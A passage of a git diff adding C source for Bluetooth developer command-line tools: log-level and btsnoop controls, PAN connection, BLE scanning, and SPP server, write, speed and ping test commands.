if (strncmp(id, "stack", strlen("stack")) == 0) { + property_set_int32("persist.bluetooth.log.stack_enable", enable); + property_change_commit(1); + } else if (strncmp(id, "snoop", strlen("snoop")) == 0) { + if (enable) + bluetooth_enable_btsnoop_log(handle); + else + bluetooth_disable_btsnoop_log(handle); + } else + return CMD_INVALID_PARAM; + + return CMD_OK; +#else + return CMD_ERROR; +#endif +} + +static int enable_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + return log_control(handle, argv[0], 1); +} + +static int disable_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + return log_control(handle, argv[0], 0); +} + +static int mask_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; +#ifdef CONFIG_KVDB + int mask = property_get_int32("persist.bluetooth.log.stack_mask", 0x0); + for (int i = 0; i < argc; i++) { + if (argv[i] != NULL) { + int bit = atoi(argv[i]); + if (bit < 0 || bit > 31) + return CMD_INVALID_PARAM; + + mask |= 1 << bit; + } + } + + property_set_int32("persist.bluetooth.log.stack_mask", mask); + property_change_commit(2); + + return CMD_OK; +#else + return CMD_ERROR; +#endif +} + +static int filter_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + for (int i = 0; i < argc; i++) { + if (argv[i] != NULL) { + int bit = atoi(argv[i]); + if (bit < 0 || bit >= BTSNOOP_FILTER_MAX) + return CMD_INVALID_PARAM; + + bluetooth_set_btsnoop_filter(handle, bit); + } + } + + return CMD_OK; +} + +static int unfilter_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + for (int i = 0; i < argc; i++) { + if (argv[i] != NULL) { + int bit = atoi(argv[i]); + if (bit < 0 || bit >= BTSNOOP_FILTER_MAX) + return CMD_INVALID_PARAM; + + bluetooth_remove_btsnoop_filter(handle, bit); + } + } + + return CMD_OK; +} + +static int unmask_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + +#ifdef CONFIG_KVDB + int mask = property_get_int32("persist.bluetooth.log.stack_mask", 0x0); + for (int i = 0; i < argc; i++) { + if (argv[i] != NULL) { + int bit = atoi(argv[i]); + if (bit < 0 || bit > 31) + return CMD_INVALID_PARAM; + + mask &= ~(1 << bit); + } + } + + property_set_int32("persist.bluetooth.log.stack_mask", mask); + property_change_commit(2); + + return CMD_OK; +#else + return CMD_ERROR; +#endif +} + +static int level_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int level = atoi(argv[0]); + if (level != 0 && level != LOG_ERR && level != LOG_WARNING && level != LOG_INFO && level != LOG_DEBUG) + return CMD_INVALID_PARAM; + +#ifdef CONFIG_KVDB + property_set_int32("persist.bluetooth.log.level", level); + property_change_commit(0); + + return CMD_OK; +#else + return CMD_ERROR; +#endif +} + +int log_command(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_log_tables, ARRAY_SIZE(g_log_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/panu.c b/tools/panu.c new file mode 100644 index 0000000000000000000000000000000000000000..be898da725ac34ff460e619ce652d425a348ec0e --- /dev/null +++ b/tools/panu.c @@ -0,0 +1,133 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdlib.h> +#include <string.h> + +#include "bt_pan.h" +#include "bt_tools.h" + +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int dump_cmd(void* handle, int argc, char* argv[]); + +static bt_command_t g_pan_tables[] = { + { "connect", connect_cmd, 0, "\"connect PAN param: <address> <dstrole> <srcrole> \"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect PAN param: <address>\"" }, + { "dump", dump_cmd, 0, "\"dump PAN current state\"" }, +}; + +static void* pan_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_pan_tables); i++) { + printf("\t%-8s\t%s\n", g_pan_tables[i].cmd, g_pan_tables[i].help); + } +} + +static void pan_connection_state_cb(void* cookie, profile_connection_state_t state, + bt_address_t* addr, uint8_t local_role, + uint8_t remote_role) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + PRINT("%s, addr:%s, state:%d, local_role:%d, remote_role:%d", __func__, + addr_str, state, local_role, remote_role); +} + +static void pan_netif_state_cb(void* cookie, pan_netif_state_t state, + int local_role, const char* ifname) +{ + PRINT("%s ifname:%s, state:%d, local_role:%d", __func__, ifname, state, local_role); +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + uint32_t src_role, dst_role; + bt_address_t addr; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + dst_role = atoi(argv[1]); + src_role = atoi(argv[2]); + if (bt_pan_connect(handle, &addr, dst_role, src_role) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("%s, address:%s", __func__, argv[0]); + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + PRINT("%s, address:%s", __func__, argv[0]); + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + bt_pan_disconnect(handle, &addr); + + return CMD_OK; +} + +static int dump_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +static const pan_callbacks_t pan_test_cbs = { + sizeof(pan_callbacks_t), + pan_netif_state_cb, + pan_connection_state_cb, +}; + +int pan_command_init(void* handle) +{ + pan_callbacks = bt_pan_register_callbacks(handle, &pan_test_cbs); + + return 0; +} + +void pan_command_uninit(void* handle) +{ + bt_pan_unregister_callbacks(handle, pan_callbacks); +} + +int pan_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_pan_tables, ARRAY_SIZE(g_pan_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} \ No newline at end of file diff --git a/tools/scan.c b/tools/scan.c new file mode 100644 index 0000000000000000000000000000000000000000..2174494a8382737ffdeac321a6654de9b2e6deaa --- /dev/null +++ b/tools/scan.c @@ -0,0 +1,206 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <getopt.h> +#include <stdlib.h> +#include <string.h> + +#include "advertiser_data.h" +#include "bt_le_scan.h" +#include "bt_tools.h" + +static int start_scan_cmd(void* handle, int argc, char* argv[]); +static int stop_scan_cmd(void* handle, int argc, char* argv[]); +static int dump_scan_cmd(void* handle, int argc, char* argv[]); + +static bt_scanner_t* g_scanner = NULL; + +static struct option scan_options[] = { + { "type", required_argument, 0, 't' }, + { "phy", required_argument, 0, 'p' }, + { "mode", required_argument, 0, 'm' }, + { "legacy", required_argument, 0, 'l' }, + { "filter", required_argument, 0, 'f' }, + { 0, 0, 0, 0 } +}; + +static bt_command_t g_scanner_tables[] = { + { "start", start_scan_cmd, 0, "start scan\n" + "\t -t or --type, le scan type (0: passive, 1: active)\n" + "\t -p or --phy, le scan phy (1M/2M/Coded)\n" + "\t -m or --mode, scan mode (0:low power mode, 1:balance mode, 2:low latency mode)\n" + "\t -l or --legacy, is legacy scan (1: true, 0: false)\n" + "\t -f or --filter, filter advertiser :<uuid>\n" }, + { "stop", stop_scan_cmd, 0, "stop scan" }, + { "dump", dump_scan_cmd, 0, "dump scan state" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_scanner_tables); i++) { + printf("\t%-4s\t%s\n", g_scanner_tables[i].cmd, g_scanner_tables[i].help); + } +} + +static void on_scan_result_cb(bt_scanner_t* scanner, ble_scan_result_t* result) +{ + PRINT_ADDR("ScanResult ------[%s]------", &result->addr); + PRINT("AddrType:%d", result->addr_type); + PRINT("Rssi:%d", result->rssi); + PRINT("Type:%d", result->adv_type); + advertiser_data_dump((uint8_t*)result->adv_data, result->length, NULL); + PRINT("\n"); +} + +static void on_scan_start_status_cb(bt_scanner_t* scanner, uint8_t status) +{ + PRINT("%s, scanner:%p, status:%d", __func__, scanner, status); +} + +static void on_scan_stopped_cb(bt_scanner_t* scanner) +{ + PRINT("%s, scanner:%p", __func__, scanner); +} + +static const scanner_callbacks_t scanner_callbacks = { + sizeof(scanner_callbacks_t), + on_scan_result_cb, + on_scan_start_status_cb, + on_scan_stopped_cb +}; + +static int start_scan_cmd(void* handle, int argc, char* argv[]) +{ + int opt; + ble_scan_filter_t filter = {}; + ble_scan_settings_t settings = { BT_SCAN_MODE_LOW_POWER, 0, BT_LE_SCAN_TYPE_PASSIVE, BT_LE_1M_PHY, { 0 } }; + + if (g_scanner) + return CMD_ERROR; + + optind = 0; + while ((opt = getopt_long(argc, argv, "t:p:m:l:f:", scan_options, + NULL)) + != -1) { + switch (opt) { + case 't': { + int type = atoi(optarg); + if (type != 0 && type != 1) { + PRINT("Invalid type:%s", optarg); + return CMD_INVALID_OPT; + } + + settings.scan_type = type; + } break; + case 'p': { + if (strncmp(optarg, "1M", 2) == 0) + settings.scan_phy = BT_LE_1M_PHY; + else if (strncmp(optarg, "2M", 2) == 0) + settings.scan_phy = BT_LE_2M_PHY; + else if (strncmp(optarg, "Coded", 5) == 0) + settings.scan_phy = BT_LE_CODED_PHY; + else { + PRINT("Invalid scan phy:%s", optarg); + return CMD_INVALID_OPT; + } + } break; + case 'm': { + int scanmode = atoi(optarg); + if (scanmode == 0) + settings.scan_mode = BT_SCAN_MODE_LOW_POWER; + else if (scanmode == 1) + settings.scan_mode = BT_SCAN_MODE_BALANCED; + else if (scanmode == 2) + settings.scan_mode = BT_SCAN_MODE_LOW_LATENCY; + else { + PRINT("Invalid scan mode:%s", optarg); + return CMD_INVALID_OPT; + } + } break; + case 'l': { + int legacy = atoi(optarg); + if (legacy != 0 && legacy != 1) { + PRINT("Invalid legacy:%s", optarg); + return CMD_INVALID_OPT; + } + + settings.legacy = legacy; + } break; + case 'f': { + uint16_t uuid = atoi(optarg); + PRINT("uuid: 0x%02x ", uuid); + filter.active = true; + filter.uuids[0] = uuid; + } break; + default: + break; + } + } + + if (optind >= 1) { + if (filter.active) { + g_scanner = bt_le_start_scan_with_filters(handle, &settings, &filter, &scanner_callbacks); + } else + g_scanner = bt_le_start_scan_settings(handle, &settings, &scanner_callbacks); + } else { + g_scanner = bt_le_start_scan(handle, &scanner_callbacks); + } + + return CMD_OK; +} + +static int stop_scan_cmd(void* handle, int argc, char* argv[]) +{ + if (!g_scanner) + return CMD_ERROR; + + bt_le_stop_scan(handle, g_scanner); + g_scanner = NULL; + return CMD_OK; +} + +static int dump_scan_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +int scan_command_init(void* handle) +{ + g_scanner = NULL; + return 0; +} + +void scan_command_uninit(void* handle) +{ + g_scanner = NULL; +} + +int scan_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table_offset(handle, g_scanner_tables, + ARRAY_SIZE(g_scanner_tables), + argc, argv, 0); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/spp.c b/tools/spp.c new file mode 100644 index 0000000000000000000000000000000000000000..ffcab22b11837df5f55c9718d130d6f8ab697f89 --- /dev/null +++ b/tools/spp.c @@ -0,0 +1,745 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bt_config.h" +#include "bt_list.h" +#include "bt_spp.h" +#include "bt_time.h" +#include "bt_tools.h" +#include "bt_uuid.h" +#include "euv_pipe.h" +#include "uv_thread_loop.h" + +typedef struct { + struct list_node node; + euv_pipe_t* pipe; + int fd; + int port; +} spp_device_t; + +typedef struct { + void* handle; + bt_address_t addr; + uint16_t port; + uint16_t scn; + uint8_t* buf; + uint16_t len; + uint32_t state; + char* name; + + /* spp ping test */ + int size; + int count; + int delay; + int timeout; +} spp_cmd_t; + +typedef struct { + void* handle; + uint8_t port; + enum { + TRANS_IDLE = 0, + TRANS_WRITING, + TRANS_SENDING, + TRANS_RECVING, + TRANS_ECHO, + } state; + uint8_t* bulk_buf; + int32_t bulk_count; + uint32_t bulk_length; + uint32_t trans_total_size; + uint32_t received_size; + uint64_t start_timestamp; + uint64_t end_timestamp; + int seq; +} transmit_context_t; + +static int start_server_cmd(void* handle, int argc, char* argv[]); +static int stop_server_cmd(void* handle, int argc, char* argv[]); +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int write_cmd(void* handle, int argc, char* argv[]); +static int speed_test_cmd(void* handle, int argc, char* argv[]); +static int ping_test_cmd(void* handle, int argc, char* argv[]); +static int dump_cmd(void* handle, int argc, char* argv[]); + +static const char* TRANS_START = "START:"; +static const char* TRANS_START_ACK = "START_ACK"; +static const char* TRANS_EOF = "EOF"; + +static struct list_node device_list = LIST_INITIAL_VALUE(device_list); +static sem_t spp_send_sem; +static void* spp_app_handle = NULL; +static uv_loop_t spp_thread_loop = { 0 }; +static transmit_context_t trans_ctx = { 0 }; + +static struct option spp_ping_options[] = { + { "port", required_argument, 0, 'p' }, + { "size", required_argument, 0, 's' }, + { "count", required_argument, 0, 'c' }, + { "timeout", required_argument, 0, 't' }, + { "delay", required_argument, 0, 'd' }, + { 0, 0, 0, 0 } +}; + +static bt_command_t g_spp_tables[] = { + { "start", start_server_cmd, 0, "\"start spp server param: <scn>(range in [1,28]) <uuid>\"" }, + { "stop", stop_server_cmd, 0, "\"stop spp server param: <scn>(range in [1,28])\"" }, + { "connect", connect_cmd, 0, "\"connect spp device param: <address> <port> <uuid>\"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect peer device param: <address> <port>\"" }, + { "write", write_cmd, 0, "\"write data to peer param: <port> <data>\"" }, + { "speed", speed_test_cmd, 0, "\"performance test param: <port> <iteration>\" note:iteration * 990 shoule less than free memory" }, + { "ping", ping_test_cmd, 0, "\"ping test param: [-p port] [-s size] [-c count] [-t timeout] [-d delay ms]" }, + { "dump", dump_cmd, 0, "\"dump spp current state\"" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\tport: serial port (1~28)\n" + "\tuuid: uuid default 0x1101\n" + "\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_spp_tables); i++) { + printf("\t%-8s\t%s\n", g_spp_tables[i].cmd, g_spp_tables[i].help); + } +} + +static spp_device_t* find_device_by_port(int port) +{ + struct list_node* list = &device_list; + struct list_node* node; + spp_device_t* device; + + list_for_every(list, node) + { + device = (spp_device_t*)node; + if (device->port == port) { + return device; + } + } + + PRINT("Device not found for port:%d", port); + return NULL; +} + +static spp_device_t* find_device_by_handle(void* handle) +{ + struct list_node* list = &device_list; + struct list_node* node; + spp_device_t* device; + + list_for_every(list, node) + { + device = (spp_device_t*)node; + if (device->pipe == handle) { + return device; + } + } + + PRINT("Device not found for handle:%p", handle); + return NULL; +} + +static void bulk_trans_complete(euv_pipe_t* handle, uint8_t* buf, int status) +{ + transmit_context_t* ctx = &trans_ctx; + + ctx->bulk_count--; + if (ctx->bulk_count) + euv_pipe_write(handle, buf, ctx->bulk_length, bulk_trans_complete); + else + free(buf); +} + +static void spp_trans_reset(void) +{ + memset(&trans_ctx, 0, sizeof(trans_ctx)); +} + +static void show_result(uint64_t start, uint64_t end, uint32_t bytes) +{ + float use = (float)(end - start) / 1000; + float spd = (float)(bytes / 1024) / use; + + PRINT("transmit done, total: %" PRIu32 " bytes, use: %f seconds, speed: %f KB/s", bytes, use, spd); +} + +static void speed_test_start(void* cmd) +{ + spp_cmd_t* msg = cmd; + spp_device_t* device; + transmit_context_t* ctx = &trans_ctx; + static uint8_t start[100]; + uint16_t port = msg->port; + uint16_t times = msg->len; + + free(msg); + + device = find_device_by_port(port); + if (!device) + return; + + if (ctx->state != TRANS_IDLE) { + PRINT("spp is testing"); + return; + } + ctx->handle = device->pipe; + ctx->state = TRANS_SENDING; + ctx->bulk_length = 990; + ctx->bulk_count = times; + ctx->trans_total_size = ctx->bulk_length * ctx->bulk_count; + + memset(start, 0, sizeof(start)); + sprintf((char*)start, "START:%" PRIu32 ";", ctx->trans_total_size); + euv_pipe_write(device->pipe, start, strlen((const char*)start), NULL); + PRINT("transmit start, waiting for %" PRIu32 " bytes transmit done", ctx->trans_total_size); +} + +static void ping_test_start(void* cmd) +{ + spp_cmd_t* msg = cmd; + spp_device_t* device; + transmit_context_t* ctx = &trans_ctx; + uint16_t port = msg->port; + uint16_t counts = msg->count; + int size = msg->size; + int timeout = msg->timeout; + int delay = msg->delay; + + device = find_device_by_port(port); + if (!device) { + PRINT("Device not found for port:%d", port); + return; + } + + ctx->handle = device->pipe; + ctx->state = TRANS_ECHO; + ctx->bulk_length = size; + ctx->bulk_buf = malloc(size); + if (!ctx->bulk_buf) { + PRINT("malloc bulk_buf failed"); + return; + } + + BT_LOGD("spp ping start, counts:%d, size:%d, timeout:%d, delay:%d", counts, size, timeout, delay); + for (size_t seq = 1; seq <= counts; seq++) { + struct timespec ts; + char header[20]; + + snprintf(header, sizeof(header), "ECHO:%d", seq); + + if (ctx->bulk_length < strlen(header)) { + PRINT("bulk_length is too small"); + goto end; + } + + memcpy(ctx->bulk_buf, header, strlen(header)); + memset(ctx->bulk_buf + strlen(header), 0xA5, ctx->bulk_length - strlen(header)); + ctx->seq = seq; + ctx->start_timestamp = get_timestamp_msec(); + + euv_pipe_write(device->pipe, ctx->bulk_buf, ctx->bulk_length, NULL); + + clock_gettime(CLOCK_REALTIME, &ts); + ts.tv_sec += timeout; + if (sem_timedwait(&spp_send_sem, &ts) < 0) { + PRINT("spp ping test timeout"); + spp_trans_reset(); + goto end; + } + + usleep(delay * 1000); + } + +end: + free(ctx->bulk_buf); +} + +static void spp_data_received(euv_pipe_t* handle, const uint8_t* buf, ssize_t size) +{ + transmit_context_t* ctx = &trans_ctx; + + if (ctx->state != TRANS_IDLE && handle != ctx->handle) { + PRINT("spp is testing ,ignore it"); + return; + } + + switch (ctx->state) { + case TRANS_IDLE: + if (strncmp((const char*)buf, TRANS_START, strlen(TRANS_START)) == 0) { + spp_trans_reset(); + ctx->handle = handle; + ctx->state = TRANS_RECVING; + sscanf((const char*)buf, "START:%" PRIu32 ";", &ctx->trans_total_size); + PRINT("receive start, waiting for %" PRIu32 " bytes transmit done", ctx->trans_total_size); + euv_pipe_write(handle, (uint8_t*)TRANS_START_ACK, strlen(TRANS_START_ACK), NULL); + ctx->start_timestamp = get_timestamp_msec(); + } else + lib_dumpbuffer("spp read", buf, size); + break; + case TRANS_SENDING: + if (strncmp((const char*)buf, TRANS_EOF, strlen(TRANS_EOF)) == 0) { + ctx->end_timestamp = get_timestamp_msec(); + show_result(ctx->start_timestamp, ctx->end_timestamp, ctx->trans_total_size); + spp_trans_reset(); + } else if (strncmp((const char*)buf, TRANS_START_ACK, strlen(TRANS_START_ACK)) == 0) { + sem_post(&spp_send_sem); + ctx->bulk_buf = malloc(ctx->bulk_length); + memset(ctx->bulk_buf, 0xA5, ctx->bulk_length); + ctx->start_timestamp = get_timestamp_msec(); + euv_pipe_write(handle, ctx->bulk_buf, ctx->bulk_length, bulk_trans_complete); + } + break; + case TRANS_RECVING: + ctx->received_size += size; + if (ctx->received_size >= ctx->trans_total_size) { + ctx->end_timestamp = get_timestamp_msec(); + show_result(ctx->start_timestamp, ctx->end_timestamp, ctx->trans_total_size); + euv_pipe_write(handle, (uint8_t*)TRANS_EOF, 4, NULL); + spp_trans_reset(); + } + break; + case TRANS_ECHO: + if (strncmp((const char*)buf, "ECHO", strlen("ECHO")) == 0) { + uint64_t start_timestamp; + + ctx->handle = handle; + start_timestamp = get_timestamp_msec(); + + PRINT("%d bytes from port(%d): seq=%d time=%" PRIu64 " ms", strlen((const char*)buf), ctx->port, ctx->seq, (start_timestamp - ctx->start_timestamp)); + lib_dumpbuffer("spp recv:", buf, size); + sem_post(&spp_send_sem); + } + break; + default: + break; + } +} + +static void spp_read_cb(euv_pipe_t* handle, const uint8_t* buf, ssize_t size) +{ + if (size > 0) + spp_data_received(handle, buf, size); + else if (size < 0) { + PRINT("%s read failed, status:%d", __func__, (int)size); + euv_pipe_read_stop(handle); + spp_device_t* device = find_device_by_handle(handle); + if (device == NULL) + return; + + euv_pipe_disconnect(device->pipe); + device->pipe = NULL; + list_delete(&device->node); + free(device); + } +} + +static void check_resource_release(uint16_t port) +{ + spp_device_t* device; + + device = find_device_by_port(port); + if (device == NULL) + return; + + euv_pipe_disconnect(device->pipe); + device->pipe = NULL; + list_delete(&device->node); + free(device); +} + +static void connection_state_process(void* data) +{ + spp_cmd_t* msg = data; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(&msg->addr, addr_str); + PRINT("%s addr:%s, scn: %" PRIx16 ", port: %" PRIx16 ", state:%" PRIu32, __func__, addr_str, msg->scn, msg->port, msg->state); + + if (msg->state == PROFILE_STATE_DISCONNECTED) { + check_resource_release(msg->port); + /** + * Reset the SPP transation ctx when SPP disconnct. + */ + spp_trans_reset(); + } + + free(msg); +} + +static void connection_state_callback(void* handle, bt_address_t* addr, uint16_t scn, + uint16_t port, profile_connection_state_t state) +{ + spp_cmd_t* msg = malloc(sizeof(spp_cmd_t)); + if (!msg) + return; + + msg->handle = handle; + memcpy(&msg->addr, addr, sizeof(bt_address_t)); + msg->scn = scn; + msg->port = port; + msg->state = state; + + do_in_thread_loop(&spp_thread_loop, connection_state_process, (void*)msg); +} + +static void proxy_connect_callback(euv_pipe_t* handle, int status, void* user_data) +{ + spp_device_t* device; + + PRINT("%s", __func__); + + device = user_data; + list_add_tail(&device_list, &device->node); + + euv_pipe_read_start(handle, 2048, spp_read_cb, NULL); +} + +static void spp_open_process(void* data) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + spp_cmd_t* msg = data; + spp_device_t* device; + + bt_addr_ba2str(&msg->addr, addr_str); + PRINT("%s addr:%s, scn:%d, port: %d, name: %s", __func__, addr_str, msg->scn, msg->port, msg->name); + + device = zalloc(sizeof(spp_device_t)); + if (!device) { + PRINT("%s, device not exist", __func__); + return; + } + + device->port = msg->port; + device->pipe = euv_pipe_connect(&spp_thread_loop, msg->name, proxy_connect_callback, device); + if (!device->pipe) { + PRINT("%s, pipe connect failed", __func__); + free(msg); + free(device); + return; + } + + free(msg); +} + +static void proxy_state_callback(void* handle, bt_address_t* addr, spp_proxy_state_t state, uint16_t scn, uint16_t port, char* name) +{ + spp_cmd_t* msg = malloc(sizeof(spp_cmd_t)); + if (!msg) + return; + + msg->handle = handle; + memcpy(&msg->addr, addr, sizeof(bt_address_t)); + msg->scn = scn; + msg->port = port; + msg->name = strdup(name); + + if (state == SPP_PROXY_STATE_CONNECTED) { + do_in_thread_loop(&spp_thread_loop, spp_open_process, (void*)msg); + } else if (state == SPP_PROXY_STATE_DISCONNECTED) { + PRINT("%s, spp proxy disconnected", __func__); + } +} + +static int start_server_cmd(void* handle, int argc, char* argv[]) +{ + uint16_t uuid; + bt_uuid_t uuid16; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint16_t scn = atoi(argv[1]); + if (argc == 2) + uuid = strtol(argv[2], NULL, 16); + else + uuid = BT_UUID_SERVCLASS_SERIAL_PORT; + + bt_uuid16_create(&uuid16, uuid); + if (bt_spp_server_start(handle, spp_app_handle, scn, &uuid16, + CONFIG_BLUETOOTH_SPP_SERVER_MAX_CONNECTIONS) + != BT_STATUS_SUCCESS) { + PRINT("server_start failed, scn:%d, uuid: 0x%04x\n", scn, uuid); + return CMD_ERROR; + } + + return CMD_OK; +} + +static int stop_server_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint16_t scn = atoi(argv[1]); + bt_spp_server_stop(handle, spp_app_handle, scn); + + return CMD_OK; +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + int16_t scn; + uint16_t uuid; + uint16_t port; + bt_uuid_t uuid16; + bt_address_t addr; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + scn = atoi(argv[2]); + + if (argc == 3) + uuid = strtol(argv[3], NULL, 16); + else + uuid = BT_UUID_SERVCLASS_SERIAL_PORT; + + bt_uuid16_create(&uuid16, uuid); + if (bt_spp_connect(handle, spp_app_handle, &addr, scn, &uuid16, &port) != BT_STATUS_SUCCESS) { + PRINT("connect scn:%d, failed\n", scn); + return CMD_ERROR; + } + + PRINT("%s, address:%s scn:%d, port:%d, uuid:0x%04x", __func__, argv[1], scn, port, uuid); + return CMD_OK; +} + +static void spp_disconnect(void* data) +{ + spp_device_t* device; + spp_cmd_t* msg = data; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + device = find_device_by_port(msg->port); + if (device == NULL) { + free(data); + return; + } + + bt_spp_disconnect(msg->handle, spp_app_handle, &msg->addr, msg->port); + bt_addr_ba2str(&msg->addr, addr_str); + PRINT("%s, address:%s port:%d disconnecting", __func__, addr_str, msg->port); + free(data); +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + spp_cmd_t* msg = malloc(sizeof(spp_cmd_t)); + if (!msg) + return CMD_ERROR; + + if (bt_addr_str2ba(argv[1], &msg->addr) < 0) { + free(msg); + return CMD_INVALID_ADDR; + } + + msg->handle = handle; + msg->port = atoi(argv[2]); + + PRINT("%s, address:%s port:%d", __func__, argv[1], msg->port); + do_in_thread_loop(&spp_thread_loop, spp_disconnect, msg); + + return CMD_OK; +} + +static void write_complete(euv_pipe_t* handle, uint8_t* buf, int status) +{ + free(buf); +} + +static void spp_write(void* data) +{ + spp_device_t* device; + spp_cmd_t* msg = data; + + device = find_device_by_port(msg->port); + if (!device) + goto error; + + if (trans_ctx.handle == device->pipe) { + PRINT("spp is testing"); + goto error; + } + + euv_pipe_write(device->pipe, msg->buf, msg->len, write_complete); + free(msg); + return; + +error: + free(msg->buf); + free(msg); +} + +static int write_cmd(void* handle, int argc, char* argv[]) +{ + uint16_t port; + uint8_t* buf; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + port = atoi(argv[1]); + buf = (uint8_t*)strdup(argv[2]); + + spp_cmd_t* msg = malloc(sizeof(spp_cmd_t)); + if (!msg) { + free(buf); + return CMD_ERROR; + } + + msg->port = port; + msg->buf = buf; + msg->len = strlen(argv[2]); + + do_in_thread_loop(&spp_thread_loop, spp_write, msg); + return CMD_OK; +} + +static int speed_test_cmd(void* handle, int argc, char* argv[]) +{ + int port, times; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + port = atoi(argv[1]); + times = atoi(argv[2]); + if (port < 0 || times < 0) + return CMD_INVALID_PARAM; + + spp_cmd_t* msg = malloc(sizeof(spp_cmd_t)); + if (!msg) + return CMD_ERROR; + + msg->port = port; + msg->len = times; + do_in_thread_loop(&spp_thread_loop, speed_test_start, msg); + /* wait start ack */ + struct timespec ts; + + clock_gettime(CLOCK_REALTIME, &ts); + ts.tv_sec += 2; + if (sem_timedwait(&spp_send_sem, &ts) < 0) { + spp_trans_reset(); + return CMD_ERROR; + } + + return CMD_OK; +} + +static int ping_test_cmd(void* handle, int argc, char* argv[]) +{ + int opt; + int delay = 200; // dealy 200 ms + int count = 1; + int timeout = 1; + int size = 50; + int port = 0; + + optind = 0; + while ((opt = getopt_long(argc, argv, "+d:c:t:s:p:", spp_ping_options, + NULL)) + != -1) { + switch (opt) { + case 'd': + delay = atoi(optarg); + break; + case 'c': + count = atoi(optarg); + break; + case 't': + timeout = atoi(optarg); + break; + case 's': + size = atoi(optarg); + break; + case 'p': + port = atoi(optarg); + break; + default: + PRINT("%s, default opt:%c, arg:%s", __func__, opt, optarg); + break; + } + } + + spp_cmd_t* msg = 